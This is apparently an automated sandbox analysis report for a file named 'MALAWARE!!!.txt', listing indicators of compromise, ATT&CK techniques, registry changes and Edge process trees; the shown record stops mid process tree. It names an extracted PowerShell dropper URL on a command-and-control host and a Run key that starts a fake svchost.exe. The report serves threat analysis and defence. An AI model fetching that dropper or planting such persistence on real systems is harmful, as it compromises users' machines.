hxxps://www[.]mediafire[.]com/file/nzlgha33gkcyx94/MALAWARE!!![.]txt/file

Analysis

user interaction
yes
max time kernel
898s
max time network
651s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/08/2026, 09:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
https://www.mediafire.com/file/nzlgha33gkcyx94/MALAWARE!!!.txt/file
Sample260809-lefhmsyses

Score

10^/10

discovery execution persistence

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://your-c2-server.com/refresh.ps1

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	880	1044	powershell.exe	135
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6136	1044	powershell.exe	135

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
617	880	powershell.exe
618	6136	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
880	powershell.exe
6136	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Phoenix = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Caches\\svchost.exe"	powershell.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1644	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-668679576-120646659-2289335452-1000\{974C31A3-A1B9-4CFD-98E9-0F2890D82FB4}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-668679576-120646659-2289335452-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	msedge.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4528	powershell.exe
4528	powershell.exe
4528	powershell.exe
880	powershell.exe
880	powershell.exe
6136	powershell.exe
6136	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

pid	Process
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4528	powershell.exe
Token: SeDebugPrivilege	880	powershell.exe
Token: SeDebugPrivilege	6136	powershell.exe

Suspicious use of FindShellTrayWindow 51 IoCs

pid	Process
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe

Suspicious use of SendNotifyMessage 32 IoCs

pid	Process
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe
4012	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4012 wrote to memory of 2576	4012	msedge.exe	85
PID 4012 wrote to memory of 4880	4012	msedge.exe	87
PID 4012 wrote to memory of 1644	4012	msedge.exe	88
PID 4012 wrote to memory of 3744	4012	msedge.exe	89
PID 4012 wrote to memory of 4880	4012	msedge.exe	87
PID 4012 wrote to memory of 4880	4012	msedge.exe	87
PID 4012 wrote to memory of 3744	4012	msedge.exe	89
PID 4012 wrote to memory of 2100	4012	msedge.exe	90
PID 4012 wrote to memory of 2100	4012	msedge.exe	90
PID 4012 wrote to memory of 2100	4012	msedge.exe	90
PID 4012 wrote to memory of 4264	4012	msedge.exe	91
PID 4012 wrote to memory of 4264	4012	msedge.exe	91
PID 4012 wrote to memory of 4264	4012	msedge.exe	91
PID 4012 wrote to memory of 4388	4012	msedge.exe	92
PID 4012 wrote to memory of 4824	4012	msedge.exe	93
PID 4012 wrote to memory of 4388	4012	msedge.exe	92
PID 4012 wrote to memory of 4388	4012	msedge.exe	92
PID 4012 wrote to memory of 4824	4012	msedge.exe	93
PID 4012 wrote to memory of 4824	4012	msedge.exe	93
PID 4012 wrote to memory of 4356	4012	msedge.exe	97
PID 4012 wrote to memory of 4356	4012	msedge.exe	97
PID 4012 wrote to memory of 4356	4012	msedge.exe	97
PID 4012 wrote to memory of 1824	4012	msedge.exe	98
PID 4012 wrote to memory of 1824	4012	msedge.exe	98
PID 4012 wrote to memory of 1824	4012	msedge.exe	98
PID 4012 wrote to memory of 4180	4012	msedge.exe	99
PID 4012 wrote to memory of 4988	4012	msedge.exe	100
PID 4012 wrote to memory of 4180	4012	msedge.exe	99
PID 4012 wrote to memory of 4988	4012	msedge.exe	100
PID 4012 wrote to memory of 3708	4012	msedge.exe	101
PID 4012 wrote to memory of 3708	4012	msedge.exe	101
PID 4012 wrote to memory of 3708	4012	msedge.exe	101
PID 4012 wrote to memory of 4572	4012	msedge.exe	103
PID 4012 wrote to memory of 4788	4012	msedge.exe	106
PID 4012 wrote to memory of 4788	4012	msedge.exe	106
PID 4012 wrote to memory of 4788	4012	msedge.exe	106
PID 4012 wrote to memory of 728	4012	msedge.exe	107
PID 4012 wrote to memory of 728	4012	msedge.exe	107
PID 4012 wrote to memory of 728	4012	msedge.exe	107
PID 4012 wrote to memory of 1848	4012	msedge.exe	108
PID 4012 wrote to memory of 1848	4012	msedge.exe	108
PID 4012 wrote to memory of 1848	4012	msedge.exe	108
PID 4012 wrote to memory of 2192	4012	msedge.exe	109
PID 4012 wrote to memory of 2192	4012	msedge.exe	109
PID 4012 wrote to memory of 2192	4012	msedge.exe	109
PID 4012 wrote to memory of 1972	4012	msedge.exe	110
PID 4012 wrote to memory of 1972	4012	msedge.exe	110
PID 4012 wrote to memory of 1972	4012	msedge.exe	110
PID 4012 wrote to memory of 608	4012	msedge.exe	111
PID 4012 wrote to memory of 608	4012	msedge.exe	111
PID 4012 wrote to memory of 608	4012	msedge.exe	111
PID 4012 wrote to memory of 3380	4012	msedge.exe	112
PID 4012 wrote to memory of 3380	4012	msedge.exe	112
PID 4012 wrote to memory of 3380	4012	msedge.exe	112
PID 4012 wrote to memory of 4828	4012	msedge.exe	113
PID 4012 wrote to memory of 4864	4012	msedge.exe	114
PID 4012 wrote to memory of 4828	4012	msedge.exe	113
PID 4012 wrote to memory of 4864	4012	msedge.exe	114
PID 4012 wrote to memory of 4864	4012	msedge.exe	114
PID 4012 wrote to memory of 2380	4012	msedge.exe	115
PID 4012 wrote to memory of 1616	4012	msedge.exe	116
PID 4012 wrote to memory of 1616	4012	msedge.exe	116
PID 4012 wrote to memory of 1616	4012	msedge.exe	116
PID 4012 wrote to memory of 5384	4012	msedge.exe	117

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://www.mediafire.com/file/nzlgha33gkcyx94/MALAWARE!!!.txt/file
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4012
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x238,0x23c,0x240,0x234,0x2b4,0x7fff7e95c188,0x7fff7e95c194,0x7fff7e95c1a0
  2⤵
  PID:2576
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1672,i,13504799733478798285,1454060585271735507,262144 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=2760 /prefetch:2
  2⤵
  PID:4880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1864,i,9217930622434933535,13636316438754022039,524288 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=3140 /prefetch:3
  2⤵
  - System Time Discovery
  PID:1644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2304,i,10640535514873736238,6710520595457910426,524288 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=3148 /prefetch:8
  2⤵
  PID:3744
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3460,i,4630075403155239857,14648299642657784615,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=3516 /prefetch:1
  2⤵
  PID:2100
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3464,i,4336691226352745367,237801055330578949,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=3580 /prefetch:1
  2⤵
  PID:4264
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4164,i,16008893319812102827,8779798417244153518,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=4196 /prefetch:1
  2⤵
  PID:4388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4188,i,11414695613853644135,9327936575222537154,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=4224 /prefetch:2
  2⤵
  PID:4824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --always-read-main-dll --metrics-shmem-handle=4884,i,2935490298237916962,193965170616287307,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=4880 /prefetch:1
  2⤵
  PID:4356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --always-read-main-dll --metrics-shmem-handle=5800,i,15706341956019934945,11852160666417013480,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=5552 /prefetch:1
  2⤵
  PID:1824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5900,i,3324561934451078534,12895486124383089116,524288 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=5472 /prefetch:8
  2⤵
  PID:4180
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5444,i,15189391212274153323,14214843483898174186,524288 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=5436 /prefetch:8
  2⤵
  PID:4988
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=5960,i,2308873337064279982,17580909451639016810,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=5628 /prefetch:1
  2⤵
  PID:3708
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6444,i,4915897380724764176,9159950764307163874,524288 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:8
  2⤵
  PID:828
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6444,i,4915897380724764176,9159950764307163874,524288 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=6460 /prefetch:8
  2⤵
  PID:4572
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=5140,i,15717710417517848588,13878811458143126980,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=6824 /prefetch:1
  2⤵
  PID:4788
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --always-read-main-dll --metrics-shmem-handle=6776,i,1013800627152429903,12037410656174647030,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=5016 /prefetch:1
  2⤵
  PID:728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --always-read-main-dll --metrics-shmem-handle=6784,i,4995325992343740576,15336712401463992140,2097152 --field-trial-handle=2764,i,3229421314153474990,998135477325702072,262144 --variations-seed-version --mojo-platform-channel-handle=6980 /prefetch:1
  2⤵
  PID:1848
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
